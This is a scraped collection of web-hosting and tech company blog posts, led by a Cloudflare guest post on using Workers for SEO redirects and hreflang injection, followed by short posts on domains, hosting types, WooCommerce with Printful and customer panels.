Corporate Blogs

Diving into Technical SEO using Cloudflare Workers

CloudFlare Blog -

This is a guest post by Igor Krestov and Dan Taylor. Igor is a lead software developer at, and Dan a lead technical SEO consultant, and has also been credited with coining the term “edge SEO”. is a technical SEO agency with offices in London, Leeds, and Boston, offering bespoke consultancy to brands around the world. You can reach them both via Twitter.With this post we illustrate the potential applications of Cloudflare Workers in relation to search engine optimization, which is more commonly referred to as ‘SEO’ using our research and testing over the past year making Sloth.This post is aimed at readers who are both proficient in writing performant JavaScript, as well as complete newcomers, and less technical stakeholders, who haven’t really written many lines of code before.Endless practical applications to overcome obstaclesWorking with various clients and projects over the years we’ve continuously encountered the same problems and obstacles in getting their websites to a point of “technical SEO excellence”. A lot of these problems come from platform restriction at an enterprise level, legacy tech stacks, incorrect builds, and years of patching together various services and infrastructures.As a team of technical SEO consultants, we can often be left frustrated by these barriers, that often lead to essential fixes and implementations either being not possible or delayed for months (if not years) at a time – and in this time, the business is often losing traffic and revenue.Workers offers us a hail Mary solution to a lot of common frustrations in getting technical SEO implemented, and we believe in the long run can become an integral part of overcoming legacy issues, reducing DevOps costs, speeding up lead times, all in addition to utilising a globally distributed serverless platform with blazing fast cold start times.Creating accessibility at scaleWhen we first started out, we needed to implement simple redirects, which should be easy to create on the majority of platforms but wasn’t supported in this instance.When the second barrier arose, we needed to inject Hreflang tags, cross-linking an old multi-lingual website on a bespoke platform build to an outdated spec. This required experiments to find an efficient way of implementing the tags without increasing latency or adding new code to the server – in a manner befitting of search engine crawling.At this point we had a number of other applications for Workers, with arising need for non-developers to be able to modify and deploy new Worker code. This has since become an idea of Worker code generation, via Web UI or command line.Having established a number of different use cases for Workers, we identified 3 processing phases:Incoming request modification – changing origin request URL or adding authorization headers.Outgoing response modification - adding security headers, Hreflang header injection, logging.Response body modification – injecting/changing content e.g. canonicals, robots and JSON-LDWe wanted to generate lean Worker code, which would enable us to keep each functionality contained and independent of another, and went with an idea of filter chains, which can be used to compose fairly complex request processing.A request chain depicting the path of a request as it is transformed while moving from client to origin server and back again.A key accessibility issue we identified from a non-technical perspective was the goal trying of making this serverless technology accessible to all in SEO, because with understanding comes buy-in from stakeholders. In order to do this, we had to make Workers:Accessible to users who don’t understand how to write JavaScript / Performant JavaScriptProcess of implementation can complement existing deployment processesProcess of implementation is secure (internally and externally)Process of implementation is compliant with data and privacy policiesImplementations must be able to be verified through existing processes and practices (BAU)Before we dive into actual filters, here are partial TypeScript interfaces to illustrate filter APIs:interface FilterExecutor<Type, Context, ReturnType extends Type | void> { apply(filterChain: { next: (c: Context, obj: Type) => ReturnType | Promise<ReturnType> }>, context: Context, obj: Type): ReturnType | Promise<ReturnType>; } interface RequestFilterContext { // Request URL url: URL; // Short-circuit request filters respondWith(response: Response | Promise<Response>): void; // Short-circuit all filters respondWithAndStop(response: Response | Promise<Response>): void; // Add additonal response filter appendResponseFilter(filter: ResponseFilter): void; // Add body filter appendBodyFilter(filter: BodyFilter): void; } interface RequestFilter extends FilterExecutor<Request, RequestFilterContext, Request> { }; interface ResponseFilterContext { readonly startMs: number; readonly endMs: number; readonly url: URL; waitUntil(promise: Promise<any>): void; respondWith(response: Response | Promise<Response>): void; respondWithAndStop(response: Response | Promise<Response>): void; appendBodyFilter(filter: BodyFilter): void; } interface ResponseFilter extends FilterExecutor<Response, ResponseFilterContext, Response> { }; interface BodyFilterContext { waitUntil(promise: Promise<any>): void; } interface ChunkChain { public next: ChunkChain | null; public chunk: Uint8Array; } interface BodyFilter extends MutableFilterExecutor<ChunkChain | null, BodyFilterContext, ChunkChain | null> { }; Request filter — Simple RedirectsFirstly, we would like to point out that this is very niche use case, if your platform supports redirects natively, you should absolutely do it through your platform, but there are a number of limited, legacy or bespoke platforms, where redirects are not supported or are limited, or are charged for (per line) by your hosting or platform. For example, Github Pages only support redirects via HTML refresh meta tag. The most basic redirect filter, would look like this:class RedirectRequestFilter { constructor(redirects) { this.redirects = redirects; } apply(filterChain, context, request) { const redirect = this.redirects[context.url.href]; if (redirect) context.respondWith(new Response('', { status: 301, headers: { 'Location': redirect } })); else return, request); } } const { requestFilterHandle } = self.slothRequire('./worker.js'); requestFilterHandle.append(new RedirectRequestFilter({ "": "" })); You can see it live in Cloudflare’s playground here.The one implemented in Sloth supports basic path matching, hostname matching and query string matching, as well as wildcards.The Sloth dashboard for visually creating and modifying redirects. It is all well and good when you do not have a lot of redirects to manage, but what do you do when size of redirects starts to take up significant memory available to Worker? This is where we faced another scaling issue, in taking a small handful of possible redirects, to the tens of thousands.Managing Redirects with Workers KV and Cuckoo FiltersWell, here is one way you can solve it by using Workers KV - a key-value data store.Instead of hard coding redirects inside Worker code, we will store them inside Workers KV. Naive approach would be to check redirect for each URL. But Workers KV, maximum performance is not reached until a key is being read on the order of once-per-second in any given data center.Alternative could be using a probabilistic data structure, like Cuckoo Filters, stored in KV, possibly split between a couple of keys as KV is limited to 64KB. Such filter flow would be:Retrieve frequently read filter key.Check whether full url (or only pathname) is in the filter.Get redirect from Worker KV using URL as a key. In our tests, we managed to pack 20 thousand redirects into Cuckoo Filter taking up 128KB, split between 2 keys, verified against 100 thousand active URLs with a false-positive rate of 0.5-1%.Body filter - Hreflang InjectionHreflang meta tags need to be placed inside HTML <head> element, so before actually injecting them, we need to find either start or end of the head HTML tag, which in itself is a streaming search problem. The caveat here is that naive method decoding UTF-8 into JavaScript string, performing search, re-encoding back into UTF-8 is fairly slow. Instead, we attempted pure JavaScript search on bytes strings (Uint8Array), which straight away showed promising results. For our use case, we picked the Boyer-Moore-Horspool algorithm as a base of our streaming search, as it is simple, has great average case performance and only requires a pre-processing search pattern, with manual prefix/suffix matching at chunk boundaries.Here is comparison of methods we have tested on Node v10.15.0:| Chunk Size | Method | Ops/s | |------------|--------------------------------------|---------------------| | | | | | 1024 bytes | Boyer-Moore-Horspool over byte array | 163,086 ops/sec | | 1024 bytes | **precomputed BMH over byte array** | **424,948 ops/sec** | | 1024 bytes | decode utf8 into strings & indexOf() | 91,685 ops/sec | | | | | | 2048 bytes | Boyer-Moore-Horspool over byte array | 119,634 ops/sec | | 2048 bytes | **precomputed BMH over byte array** | **232,192 ops/sec** | | 2048 bytes | decode utf8 into strings & indexOf() | 52,787 ops/sec | | | | | | 4096 bytes | Boyer-Moore-Horspool over byte array | 78,729 ops/sec | | 4096 bytes | **precomputed BMH over byte array** | **117,010 ops/sec** | | 4096 bytes | decode utf8 into strings & indexOf() | 25,835 ops/sec |Can we do better?Having achieved decent performance improvement with pure JavaScript search over naive method, we wanted to see whether we can do better. As Workers support WASM, we used rust to build a simple WASM module, which exposed standard rust string search.| Chunk Size | Method | Ops/s | |------------|-------------------------------------|---------------------| | | | | | 1024 bytes | Rust WASM | 348,197 ops/sec | | 1024 bytes | **precomputed BMH over byte array** | **424,948 ops/sec** | | | | | | 2048 bytes | Rust WASM | 225,904 ops/sec | | 2048 bytes | **precomputed BMH over byte array** | **232,192 ops/sec** | | | | | | 4096 bytes | **Rust WASM** | **129,144 ops/sec** | | 4096 bytes | precomputed BMH over byte array | 117,010 ops/sec |As rust version did not use precomputed search pattern, it should be significantly faster, if we precomputed and cached search patterns. In our case, we were searching for a single pattern and stopping once it was found, where pure JavaScript version was fast enough, but if you need multi-pattern, advanced search, WASM is the way to go.We could not record statistically significant change in latency, between basic worker and one with a body filter deployed to production, due to unstable network latency, with a mean response latency of 150ms and 10% 90th percentile standard deviation.What’s next?We believe that Workers and serverless applications can open up new opportunities to overcome a lot of issues faced by the SEO community when working with legacy tech stacks, platform limitations, and heavily congested development queues.We are also investigating whether Workers can allow us to make a more efficient Tag Manager, which bundles and pushes only matching Tags with their code, to minimize number of external requests caused by trackers and thus reduce load on user browser.You can experiment with Cloudflare Workers yourself through Sloth, even if you don’t know how to write JavaScript.

How Are Blogs Different From Websites?

InMotion Hosting Blog -

We are often asked by new clients: what is a blog and how is it different from a website? Our answer: there’s really not much of a difference, other than format. But whichever one you want to create, an easy website builder can help! Below we’re going to go over exactly what each one is, the key differences, and how to decide which one is right for you. What is a Blog? Continue reading How Are Blogs Different From Websites? at The Official InMotion Hosting Blog.

WebPro Panel Part III – The Next Step – Managing your Customers

Reseller Club Blog -

In our previous post of the WebPro Panel Series, we covered the features of the revamped order management experience, right from purchasing an order, managing it to renewing it. In this third post of the series, we introduce you to our all-new Customer Panel – a panel that gives your customers the freedom to manage their own orders. Further, we will see how you can manage customers, assign orders to them and manage their panel from your WebPro Panel account. For your benefit, we will divide Customer Management into two sections: Managing your Customers Customizing the Customer Panel Managing your Customers In order to manage your customer, you first need to add customer accounts to your WebPro Panel. So without further ado, let us begin understanding how you can manage your customer. Creating a Customer Account If you want to create a new customer account then on the same dashboard, click on ‘ + Create Customer’. A new window opens where you fill in the customer details both personal and business and click on ‘Create Account’. Viewing your Customers Knowing how many customers there are is important when it comes to managing them with ease. To see how many customers you have, click on the ‘Customers’ tab in the vertical slide bar and a list of all the customers is displayed on the Dashboard.There are separate tabs for ‘Suspended’, ‘Active’ and ‘Inactive’ customers. In our panel, we only have ‘Active’ customers. Managing Your Customers You can easily manage your customers by clicking on the customer name which opens up their profile page and displays the following information: Customer contact information Account security information Orders associated with the customer account and their status Latest Activity which includes transactions and actions performed by the customer Image #04 Depending on the actions you need to perform, click on the following links: For modifying the business details of a customer account, click on the edit icon highlighted on the dashboard in yellow in image #04 above For modifying the account details, go the ‘Account Security’ section and click on ‘Change’/ or ‘View/Change’ depending on the information you want to change. This is highlighted in purple in image #04 above To suspend a customer account click on the icon highlighted in blue in image #04 above. Post clicking that a window pops up, asking you what you want to suspend. Select what you want to suspend and click on ‘Suspend Customer’ If you want to unsuspend a customer, go to the ‘Customers’ section in your dashboard and click on the ‘Suspended’ tab. Here click on the ‘Customer Name’ you want to unsuspend. A new window opens with a display message and the ‘Unsuspend’ button, click on this. A pop up is displayed confirming if you want to unsuspend the customer here click on ‘Unsuspend Customer’. You have successfully unsuspended your customer. Should you want to delete a customer account permanently, click on the icon highlighted in red in image #04 above. A new window then pops up and asks if you want to ‘Delete <Customer Name>’. Note: The deletion action is irreversible, a customer account once deleted can’t be restored. Now that we’re done with managing the Customer Account. Let us move on to the next section of seeing how a customer can purchase and manage their orders. In the same customer dashboard, you as a WebPro can purchase orders for your customer. These orders are then visible on the right-hand side of the dashboard along with the Activity Stream of purchased orders labelled under ‘Latest Activity’. The customer can perform the same actions you can perform on orders from their Customer Panel. To access the Customer Panel from your (WebPro) dashboard, click on the icon highlighted in green in the screenshot above. This will take you to the customer panel that is similar to your dashboard. Note: The customer can log into their panel using their credentials and manage their orders. Now that we’ve seen how to manage our customer orders and the panel, let us move onto customizing our customer panel. Customizing the Customer Panel When customers log into their account or receive automated emails it is important that they know the brand they are associated with. Customizing the customer panel assures that every customer carries your brand. Let us see how you can customer the customer panel from your WebPro Panel account. Note: Customizing can only be done from the Reseller Account and not the Customer Account. Adding a Logo A logo is a visual representation of your brand and adding it to your customer panel helps you brand your business better. Follow these simple steps to add your business logo to your customer panel. Step I: Click on the ‘Settings’ tab in the sliding vertical bar on left. Step II: In ‘Your Branding Settings’ tab go to ‘Add Your Logo’. Here, click on ‘Change Your Logo’. Note: Depending on whether you have a rectangular logo or a square it is recommended you follow the pixel size mentioned. And you have changed the logo of your Customer Panel. The logo is visible on the top left corner of the customer panel. (screenshot at the end of the post) Customizing the URL The second most important thing of the customer panel URL is the URL your customers see when they log in to their panel. The URL is by default your Reseller Account Name and Web Pro ID. This URL helps in branding your company name or brand name, and hence should ideally be changed to represent these. You can change this URL anytime you want. To change follow these steps: Step I: Click on the ‘Settings’ tab in the sliding vertical bar on left. In ‘Your Branding Settings’ tab go to ‘Customer Panel URL’. Here click on ‘Change the prefix of this URL’ Step II: Change your URL and click on ‘Save URL’ Your updated Customer Panel looks like this: Conclusion: With this, we come to an end of customer management in the WebPro Panel. If you are a reseller associated with us, you can now easily add and manage your customer accounts and their orders on the go. Moreover, you can now even give them the means to manage their own orders with a custom-branded panel. If you haven’t read our previous posts and are wondering about the WebPro Panel and how it came to be, then you can read all about it here. Do you have any comments? If yes, do leave them in the comments box below. I’ll see you soon with the final segment of the WebPro Panel. Until next time!  

U.S. Hiring Continues to Soften: March LinkedIn Workforce Report

LinkedIn Official Blog -

According to LinkedIn data, workers without college degrees in roles subject to automation are benefitting from a tight labor market and shifting their skills to fill new professions. Our data shows that while more routine “cognitive” jobs (e.g. phone operator, ticket agent) are on the decline, non-routine roles that often don’t require a degree (e.g. driver, electrician) are seeing growth. You can see this shift reflected in Lyft and Uber drivers creating LinkedIn profiles, we saw a 515%... .

Help Your Customers Contact Your Business Faster with a .TEL Domain Name

The Blog -

Imagine visiting a website, and falling in love with a brand, right away. Everything they say, all of their photos, their videos, it all speaks to you on some level. You want to reach out to them – but you can’t. Maybe you want to find out where they’re located, maybe you want to give them a call to thank them for existing. Either way, a search throughout their website reveals their contact information is as well hidden an Indiana Jones artifact. They need a .TEL contact information page. Make it easy for your potential customers to find your contact information with a .TEL domain name, and gain other benefits, such as the spread of your name, or a boost in search engine rankings. It all starts with a great domain. Get your .TEL extension from today. Make your contact information easy to find Some businesses like to put their contact information on the bottom of the page. That makes it easy for clients to contact you, but not everything can find in a tiny footer. Others list contact information on an about page, or a dedicated “Contact Me” page. A contact page helps, but what if you want customers to get that information directly, instead of clicking through a few different pages after landing on your website? Instead, create a warehouse for all of your contact information, site-wide. You can not only list the main numbers, and email addresses, for your business, but you can also list other numbers that wouldn’t fit on a footer, like sales, marketing, or brand partnerships. A .TEL contact page helps you store, update, and publish all your contact information,web links, and keywords in one easy-to-find place on your website.   Start sharing your contact details quickly and easily When you’re out on a business dinner, you want the conversation and any discussion to be as easy as possible. The same goes for sharing information. If you need to hand them a business card, but either have a hard time finding it in your massive, dad-sized wallet, or you need to write down a cell number on the back of your business card, clients get annoyed. Nobody likes to wait. A .TEL contact page is the same as a neat business card, flashed at the slightest mention of connecting in the future. That business executive who slides a business card across the table right as they’re talking about working with the client, is the one who gets the business. Put everything on a simple, easy to read .TEL contact page, so your team members and partners can share your contact information in seconds. A .TEL page is also easy to setup quickly, without any special web design tools, website builders, or nuanced hosting options. Gain more optimized search traffic to your business Google, and other search engines, like a place for everything, with everything in the right place. The more you can design an organized website, the better your website ranks in search engine results. A .TEL contact page lists all of your information in a neat, organized hierarchical data structure. That means, not only can search engine robots drill down to find the contact information they need, but so can your customers. You can even route customers to the right departments or locations within your larger organizational structure. If all of your calls and contact leads head to the same place, that one central employee  is responsible for routing all call traffic to the right location. That eats up a lot of time. Instead, help your customers contact the right team member directly with the online discoverability of a .TEL domain extension. Control all of your brand information online Sometimes it’s important to set something up online for your business, just so a competitor or bad actor can’t do it first. Imagine if a hacker created a .TEL contact page about your business before you could. All of those leads would be going to the wrong place, but the potential clients (and you) would have no idea. Your .TEL also helps you control what information is publicly viewable on the internet, and what remains private. If you don’t want the contact information of your CEO, or founder, listed online, simply leave it off your .TEL website. Instead, list a number for an assistant, or a separate number designated to incoming leads. Help new and old customers contact your business If your contact information is hard to find, that means your business is hard to contact. When you make it hard for your customers to connect with you, you make it harder to build a relationship with them. Your relationship has to start somewhere, so make it easy to find your contact information with a .TEL domain name, spread your business across the web, and enjoy a boost in search engine rankings. With everything working for your business, you can be more popular than ever. It all starts with a great domain. Get your .TEL extension from today. The post Help Your Customers Contact Your Business Faster with a .TEL Domain Name appeared first on | Blog.

Prevent Eyestrain and Meltdowns: Avoid Burnout at Work

InMotion Hosting Blog -

Are you spending too much time in front of the computer screen? Whether you’re a business owner with many employees or you’re a worker within a large organization, you’re probably spending most of your day in front of a computer screen (even as you’re reading this post). We work with knowledge workers every day from designers to developers to bloggers and large agencies with hundreds of clients. We know how demanding these jobs can be in terms of time and energy; and they all involve many rigorous hours in front of a computer screen. Continue reading Prevent Eyestrain and Meltdowns: Avoid Burnout at Work at The Official InMotion Hosting Blog.

Combining the Power of Google Cloud with WordPress

WP Engine -

Businesses today are choosing WordPress over other Content Management Systems (CMSs) because it offers an expansive ecosystem of tools and plugins, a low TCO, and faster time to market. But optimizing WordPress for speed, scalability, and security—just like any piece of software—can require added expertise and experience.  At WP Engine,  our in-house WordPress experts are available 24/7/365,… The post Combining the Power of Google Cloud with WordPress appeared first on WP Engine.

Going global: A quick guide to international digital marketing Blog -

By Gary Viray Globalization was once a dream for many of us who cannot afford to set up our own business in different parts of the world. That notion has changed as we are ushered into the digital era, where everything and anything can be accessed through the internet. Having a solid digital marketing strategy […] The post Going global: A quick guide to international digital marketing appeared first on Blog.

WordPress Posts vs. Pages: What’s the Difference?

Nexcess Blog -

Pages and posts are what make WordPress such a versatile platform for content curation. Each offer unique advantages for both on-page and off-page elements, including design, functionality, aggregation, and SEO. If you’re worried whether you’re using posts and pages correctly, keep reading. This article aims to look at the differences and provide a clear rationale… Continue reading →

How to Use Printful to Sell T-Shirts and Other Swag with WooCommerce

DreamHost Blog -

Making the decision to jump into e-commerce can be intimidating. There are a lot of factors to consider, including how you’re going to create an online store and ship your products. You also have to take into account the cost of each of those tasks and find a way to manage your budget. If you’re interested in selling products such as t-shirts and other fun ‘swag,’ using Printful and WooCommerce on a WordPress site can save you a lot of headaches. By granting you flexibility and providing a cost-effective method for printing on-demand, the combination of these two platforms makes selling your products simple. In this article, we’ll explore some of the reasons you might consider selling t-shirts and promotional merchandise online and discuss the benefits of doing so with Printful and WooCommerce. Then we’ll show you how to get started with these platforms. Let’s dive right in! Why Selling Swag Could Be a Smart Marketing Move for Your Brand Finding ways to promote your brand is an ongoing process. The more diverse and creative you can get with your marketing, the more likely you are to achieve success and increase your customer base. With that being said, you don’t want to spend your limited budget on promotional campaigns that don’t work. Selling swag has proven benefits and enables you to get a little more creative with your marketing. These types of products can increase your brand recognition since the people wearing or using them will be promoting your brand at almost no cost to you. What’s more, it’s generally a very cost-effective strategy. You can turn almost anything you can put your brand on into swag. T-shirts are a common option, as are tank tops, hoodies, and hats. Any products your customers can wear are perfect for promoting your brand. These products are very likely to be seen by other people, and your customers will endorse your brand by simply wearing them. There are, however, plenty of other options for swag. Tote bags, backpacks, and phone cases all provide opportunities for brand exposure. Customers aren’t as likely to carry around coffee mugs, posters, towels, or throw pillows, but they might leave these items out in their homes or offices where visitors will see them. They might even give those products as gifts, which also spreads the word about your brand. The more products that are out in the world with your brand’s name and/or imagery on them, the better. All you have to do is find a way to get your swag into the hands of your target audience. Choosing the Right Tools to Sell Your Swag Online Deciding how you will create, store, sell, and ship your products is a serious undertaking. Swag is usually very cost-effective, but choosing the wrong business to partner with could end up costing you more than you’d like. Plus, if you have to go to different companies to find all the services you need, it’s bound to be hard on your budget. Printful solves these problems for you. You can add your branding to a variety of products offered by this platform, and its print-on-demand services mean you don’t have to pay for storage if you don’t want to. Printful even handles shipping and delivers your products in a white-labeled box so it looks as though they’re coming right from you. Printful integrates well with a variety of e-commerce platforms, including WooCommerce. WooCommerce is an excellent e-commerce plugin for WordPress users who want to run their own online stores. It’s customizable and flexible so you can use it to suit your specific needs. You have complete control over your content and products, and you won’t have to pay any fees to use it. Related: WooCommerce vs. Shopify: An In-Depth Guide How to Use Printful to Sell T-Shirts and Swag with WooCommerce (In 4 Steps) Printful and WooCommerce make it simple for you to get started selling your products online. If you have your branding ready to go, you can set up an e-commerce site for t-shirts and swag in just four steps. Step 1: Set Up WordPress and WooCommerce If you don’t already have a WordPress site, this first step will be the most time-consuming. You’ll first need to create a new website, which includes acquiring and registering a domain name and finding a hosting provider and plan. Our DreamHost Shared Unlimited and WooCommerce Hosting plans are solid options for this kind of site. Once you have a registered domain name and a hosting account, you can install WordPress. Since WordPress is a flexible platform, there are lots of customization options, themes, and plugins you may want to look into to add functionality and style to your site. For now, however, we’ll just focus on the tools you’ll need to set up shop. The quickest way to add WooCommerce to your WordPress site is by navigating to Plugins in the sidebar of your WordPress admin dashboard. You can select Add New from the menu, and then search for “WooCommerce.” Once you’ve found it, click on the Install button. When the installation is finished, select Activate. With that, you’ve added WooCommerce to your WordPress site. Your Store Deserves WooCommerce HostingSell anything, anywhere, anytime on the world's biggest eCommerce platform.See Plans Step 2: Configure WooCommerce’s Settings After you’ve activated WooCommerce, you’ll need to configure its settings. The information you input here will be important for receiving payments, displaying your products, and enabling customer behaviors such as account creation and the checkout process. In particular, you’ll want to make sure the following settings are attended to: In the General tab, add your location information, enable tax rates and calculations, and select your currency. In the Products tab, determine which page will display your items, set measurements, and enable or disable customer reviews. In the Payments tab, specify your payment method(s). In the Accounts & Privacy tab, manage the checkout and account creation processes, configure your privacy policy, and determine your data retention settings. In the Emails tab, set up email notifications from WooCommerce to your customers. It’s important to note that, since Printful handles shipping, you don’t need to worry about configuring those settings in WooCommerce. You should also know that in order to integrate Printful and WooCommerce, you must have the legacy REST API enabled. You can find this option in the Advanced tab, by selecting Legacy API. Check the box to enable the feature, and save your changes. Then, you’re ready to move on to the next phase. Related: How to Customize WooCommerce With a Child Theme (In 3 Steps) Step 3: Integrate WooCommerce and Printful With WooCommerce ready to go, you can now integrate it with Printful. Head back to the plugins page and search for “Printful.” Then install and activate the official plugin. Next, select the new Printful option from the WordPress admin dashboard sidebar. Click on the Connect button. You’ll be asked to approve Printful’s connection to WooCommerce. After you select Approve, you’ll be redirected so that you can log in to or create a Printful account. Once you’ve done that, click the button to confirm your connection. This will sync your Printful account up with your WooCommerce store. Step 4: Create and Price Your Products Now that your Printful account is integrated with your website, you can start filling your store with swag. To do that, select from Printful’s products via WordPress or your Printful account. Then, upload a design for your t-shirt or swag, and position it however you’d like. You can also add information regarding what sizes and colors your product will be sold in, and what areas it will be shipped to. Printful also enables you to create mockups, which are the product images that will be displayed to your customers. Choose the image you prefer, and then move on to the product description. Here you can add your product’s title, details about the item, and a sizing chart if relevant. Once you’ve finished setting up the product and deciding how it will be displayed, it’s time to talk about money. You don’t have to do any math to figure out how much it will cost to create your products and how much you’ll have to charge to make a profit. Printful takes care of all that for you with its profit calculator. Finally, make sure your product visibility settings are not set to Hidden, so your product will appear in your shop, in search results, or both. Then select Submit to Store. If you have more swag to create, you can add more products by following the same process for each. Then you’re ready to start selling, and Printful is set up to deliver the products to your customers! Site Swag Selling t-shirts and other swag on your website is a smart way to promote your brand. Fortunately, the combination of Printful and WooCommerce is a flexible, cost-effective method way to display your customized products and ship them to customers. Do you have any questions about using Printful and WooCommerce together effectively? Connect with us on Twitter or Facebook and let us know! The post How to Use Printful to Sell T-Shirts and Other Swag with WooCommerce appeared first on Welcome to the Official DreamHost Blog.

How to Engage Your Audience Through Email

InMotion Hosting Blog -

If you’ve managed to easily create a website to showcase your business, then it’s important to take the steps needed to make sure that it succeeds. One of the biggest assets that you have at your disposal is your list of contacts. If you remember the days of cold-calling prospective leads, you know how rough this type of marketing can be. Even now, one-size-fits-all mass emails are also becoming a thing of the past. Continue reading How to Engage Your Audience Through Email at The Official InMotion Hosting Blog.

We’re Here So You Can Be Great

The Rackspace Blog & Newsroom -

What comes to mind when you think of Rackspace? Perhaps racks of servers in a data center. Hopefully go-the-distance customer service. Maybe cloud, our focus in recent years. Or maybe, you’re not quite sure. That’s understandable. After all, Rackspace has evolved almost continuously over the past two decades, adding a huge array of technology and […] The post We’re Here So You Can Be Great appeared first on The Official Rackspace Blog.

WP Engine Achieves AWS Digital Customer Experience Competency Status

WP Engine -

AUSTIN, Texas – March 6, 2019 –  WP Engine, the WordPress Digital Experience Platform, announced today that it has achieved Amazon Web Services (AWS) Digital Customer Experience Competency status. This designation recognizes WP Engine for its proven technology and deep expertise to help AWS Digital Customer Experience customers by providing end-to-end solutions for all phases… The post WP Engine Achieves AWS Digital Customer Experience Competency Status appeared first on WP Engine.

Difference between VPS Hosting and Dedicated Hosting

Reseller Club Blog -

  If you are a fast-growing online business, then choosing the right hosting determines how well your huge pool of data can be stored and more importantly kept secured. VPS Hosting and Dedicated Hosting are two types of hosting that you, as an established company, can switch to. But before we plunge into which hosting is best suited for your business and the differences between VPS vs Dedicated Hosting let us first see what each technology is: Dedicated Hosting: Dedicated Hosting is a physical hosting platform where your resources are dedicated solely for your website alone. Dedicated Hosting comes with certain hardware specifications depending on the type of website you have. However, Dedicated Hosting can be configured to suit your website’s business needs. VPS Hosting: VPS (Virtual Private Server) Hosting is a combination of two hosting models viz. Dedicated Hosting and Shared Hosting. VPS Hosting can be visualised as one physical server compartmentalized into several smaller servers, each having their own private space. VPS Hosting vs Dedicated Server Hosting:   VPS Hosting  Dedicated Hosting VPS Hosting offers easy scalability of your resources and plans depending on your traffic spike without you needing to change the service provider Once your website has evolved and grown significantly in terms of traffic chances are you will outgrow your VPS plans. At this time, Dedicated Hosting caters to your site’s needs. VPS Hosting can be used by small or mid-sized companies or companies which may not have very high traffic and capital. On the other hand, typically large organisations use Dedicated Hosting as they might have voluminous data, as well as, receive a very large amount of traffic. VPS Hosting is relatively economical and cheaper as the physical storage is shared amongst other websites hosted on the same server. Dedicated Hosting requires an exclusive physical set up and requires infrastructure cost, dedicated employee cost, etc. Hence, it is relatively more costly. VPS Hosting is more secure compared to other shared hosting options that divide their space among multiple clients, as servers in VPS runs in an isolated environment. Dedicated Hosting is considered to be the most secure hosting as there is only one client on the server. Advantages of VPS Hosting With VPS Hosting your server is divided into several smaller servers. These individual servers have their own resources, complete root access and SSD storage which boosts your performance tremendously. Even though VPS Hosting is expensive compared to Shared Hosting it is perfect for a website that wants features of Dedicated Hosting but on a smaller scale and a cheaper rate. It is the middle ground between Shared and Dedicated Hosting. With VPS Hosting even though your server space is divided you get independent resources like CPU, RAM, OS and Disk Space. In fact, with ResellerClub VPS Hosting, you get a Web Host Manager (WHM) software that helps you in creating multiple user accounts that can be used for reselling. Advantages of Dedicated Hosting With Dedicated Hosting, you get the entire physical server with complete root access and hence can customize your hosting plans as per your website’s needs. If you are technically sound you can choose to manage the server yourself or can go with the Managed Dedicated Hosting. Dedicated Hosting offers powerful server instances for heavy computing needs, improving performance and also, minimizing data loss with the help of RAID ensuring maximum redundancy. In Dedicated Hosting, as you are the only client on a server you have complete control of your hosting environment. Conclusion The decision of choosing VPS Hosting vs Dedicated Hosting lies solely on what kind of business do you run. If you’re a small to mid-sized firm and expect a heavy inflow of traffic then upgrading to VPS Hosting is the best option. However, if along with heavy traffic your data is sensitive and yours is a large firm then Dedicated Hosting is the best choice. In the end, both the hosting options are good, it all depends on your website’s requirements which is best suited for you. If you are a growing business and want to know more about which web hosting suits you perfectly, check out the video below. If you have any suggestions or questions, feel free to post them in the comments section below!

Free Domain Privacy Protection News -

Keeping your data safe is as important to us as it is to you. Privacy protection for domains that are registered at is now free, so you don’t have to choose between your site and your security. What is domain privacy protection? When you register a new domain, you have to provide personal contact information. This information is stored at WHOIS, a database containing the details of every registered domain. In the past, WHOIS made this information publicly accessible unless you opted in to — and paid extra for — privacy protection. If you chose not to buy privacy protection (or couldn’t afford to), spammers and marketing firms could look up your domain and get access to your name, address, email, phone number, and other information about you or your business. Privacy protection replaces this public information with generic data, so WHOIS gets the necessary details but keeps your personal info safe from prying internet eyes — but at a cost. What’s changing? In May 2018, the General Data Protection Regulation (GDPR) came into effect for EU citizens. It resulted in changes to WHOIS that, in many cases, prevent contact information from being publicly published whether or not someone purchases enhanced privacy for a domain. We’re committed to protecting your data and believe online safety shouldn’t depend on where in the world you live, so from now on, every domain registered through also includes privacy protection at no extra charge. How do I turn it on? Head to My Site > Domains, pick a domain, and turn Privacy Protection on. If it’s blue, you’re all set. If not, toggle the setting to turn it on!

Is My Domain Name Available?

HostGator Blog -

The post Is My Domain Name Available? appeared first on HostGator Blog. You’re really excited about the website idea you have. You can picture what you want it to look like and have a rough idea of the content you plan to include. But before you start building out your website, you need to figure out what its name will be. And that’s a question that’s complicated by the fact that you can’t choose just anything—it has to be something that has the domain name available. How Domain Names Work How domain names work  is that they are the main address for a website online. A domain name is what people type into their browser to bring up your website, like or While technically, you have an IP address that identifies where your website lives on the web for other computers, the domain name is a name you choose that better matches what your website is. It’s easier for your visitors to remember, provides your website’s main identification online, and is an important component in how well you’ll perform in the search engines. Your domain name doesn’t technically have to match your website’s name, but if you want to avoid confusing your visitors and pick something that will be easy for them to remember, it should. Make sure to take your time when choosing a domain name, this is not something you want to rush and regret later.That’s why it’s important to consider what domain names are available before you decide what to name your website or business.   Find Out: Is My Domain Name Available? If you already have a name in mind for your website, you can do a quick search to find out if it’s available at: The search will show you: If the exact name you’re searching is available. What the availability is for different top-level extensions, such as .com, .net, or .org. What the cost of the domain is for the different top-level extensions. Suggested alternatives to your domain name that are available if it’s not, or that are cheaper than the exact name you’re searching for. With over 1.8 billion websites already on the web, the likelihood that the first idea you have for your website will be available is low. So if your first search reveals that your domain name is already taken, don’t be surprised. And don’t despair, you still have options.   My Preferred Domain Name Isn’t Available, What Now? Now, you need to do some brainstorming to find a domain name that works for the website you have in mind and that is still available. Here are four steps to take.   1. Consider the suggested alternatives. HostGator’s domain search helpfully serves up a list of domain name ideas related to your search that are available as a .com. Give these options a look. If you see one you love, your search is over! You can register it right now and get to work building your website. Those suggestions are auto generated though, so a lot of the time, they won’t quite get at the main idea you want to express with your website. Algorithms just don’t think the way people do.   2. Consider different top-level domain options. Your next potentially easy option is to go for something other than .com. There is one big downside to consider here though: .com is what people think of first, so you risk people navigating to another site when they’re trying to find yours. On the other hand, many browsers now remember the websites users have visited before and auto-fill them in, so many of your repeat visitors will be able to find you without issue even if their impulse is to type in the wrong domain name. And when people end up on a different website than they intended to, their first impulse is to use Google to get to the right one, so as long as you show up in the search engine for your website’s name, they’ll still be able to find you. The sheer number of top level domains available today means there’s a decent chance you can find the domain name you had in mind available with one of them. But most top level domains communicate something specific, and you don’t want to choose one that’s not relevant to you. For example, if your business is based in the United States, choosing a .de domain name—the top level domain for German websites—doesn’t make sense. Some good general options that 